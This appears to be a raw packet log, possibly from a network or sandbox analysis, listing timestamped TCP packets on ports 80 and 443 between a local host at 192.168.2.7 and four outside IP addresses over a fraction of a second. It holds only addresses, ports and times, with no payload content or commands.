Sep 18, 2024 14:30:08.549705029 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.588937044 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.588957071 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.588979959 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.588993073 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589011908 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589019060 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.589025021 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589037895 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589052916 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589072943 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.589081049 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.589081049 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.589116096 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589131117 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589159012 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.589185953 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.589293957 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589307070 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589319944 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589338064 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.589354038 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.589370012 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.589497089 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589513063 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589526892 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589538097 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589541912 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.589551926 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.589559078 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589572906 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.589572906 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589586020 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589600086 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.589617014 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589629889 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.589636087 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.589658976 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.596975088 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597007036 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597019911 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597033024 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597062111 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597075939 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597085953 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597089052 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597127914 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597131014 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597141981 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597153902 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597155094 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597170115 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597181082 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597207069 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597227097 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597240925 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597251892 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597263098 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597270012 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597289085 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597292900 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597306967 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597316027 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597318888 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597337961 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597342014 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597351074 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597363949 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597368956 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597378969 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597430944 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597517967 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597700119 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597714901 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597727060 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597749949 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597769022 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597791910 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597804070 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597817898 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597831964 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597836971 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597843885 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597861052 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597873926 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597878933 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597886086 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597893000 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597906113 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597906113 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597918987 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597924948 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597934008 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.597955942 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.597969055 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.598002911 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.598015070 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.598026991 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.598038912 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.598040104 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.598053932 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.598078966 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.598208904 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.598248959 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.598278999 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.598289967 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.598315954 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.598331928 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.598346949 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.598359108 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.598370075 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.598381042 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.598385096 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.598400116 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.598409891 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.598412991 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.598427057 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.598433018 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.598449945 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.598476887 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.598965883 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.598989010 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599001884 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599024057 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599024057 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.599036932 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599066019 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.599071026 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599082947 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.599083900 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599107981 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.599132061 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.599148035 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599162102 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599183083 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.599195957 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.599205971 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599219084 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599231005 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599242926 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599242926 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.599255085 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599261999 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.599287033 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.599287033 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.599299908 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.599318027 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.599323034 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.599330902 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.599345922 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.599347115 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.599360943 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.599365950 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.599374056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.599396944 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.599411964 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.599793911 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599806070 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599817991 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599832058 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599843025 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599853039 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599854946 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.599868059 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599879026 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599888086 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.599903107 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.599926949 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.599941015 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.599976063 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.600029945 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.600039959 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.600075960 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.600090981 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.600101948 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.600114107 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.600123882 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.600131035 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.600142002 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.600146055 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.600153923 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.600166082 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.600174904 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.600194931 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.600202084 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.600219965 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.600233078 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.600234032 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.600244999 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.600284100 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.600284100 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.600307941 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.600320101 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.600331068 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.600339890 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.600356102 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.600411892 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.600802898 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.600856066 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.600867987 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.600881100 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.600895882 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.600960970 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.600974083 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.600985050 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.600985050 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.600996017 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.601000071 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.601012945 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.601023912 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.601032019 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.601046085 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.601053953 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.601058006 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.601069927 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.601079941 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.601093054 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.601097107 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.601105928 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.601113081 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.601125002 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.601136923 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.601162910 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.602191925 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.602246046 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.602272987 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.602284908 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.602296114 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.602308035 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.602324963 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.602361917 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.602374077 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.602385998 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.602396011 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.602397919 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.602411032 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.602421999 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.602436066 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.602437019 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.602462053 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.602472067 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.602484941 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.602495909 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.602505922 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.602507114 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.602519035 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.602531910 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.602543116 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.602550983 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.602562904 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.602571964 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.602576017 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.602587938 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.602588892 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.602602005 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.602615118 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.602644920 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.603202105 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603219986 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603230953 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603266001 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.603297949 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.603297949 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603310108 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603323936 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603337049 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603341103 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.603348017 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603354931 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.603364944 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.603379011 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.603380919 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.603400946 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.603411913 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.603414059 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.603482008 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.603483915 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.603483915 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.603496075 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.603507042 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.603518963 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603538990 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.603538990 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.603545904 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603559971 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603564024 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.603571892 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603584051 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.603599072 CEST	443	49714	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:08.603611946 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.603634119 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.603672981 CEST	49714	443	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:08.603686094 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603699923 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603713036 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603723049 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603770018 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.603770018 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.603826046 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603844881 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603857040 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603863001 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.603877068 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.603893995 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.603938103 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603950024 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603960991 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603971958 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603985071 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.603991985 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.603991985 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.604017973 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.604059935 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.604108095 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.604193926 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.604204893 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.604218006 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.604228020 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.604238033 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.604244947 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.604252100 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.604262114 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.604268074 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.604278088 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.604281902 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.604294062 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.604310989 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.604691029 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.604710102 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.604722977 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.604737043 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.604737043 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.604764938 CEST	49705	80	192.168.2.7	103.130.147.211
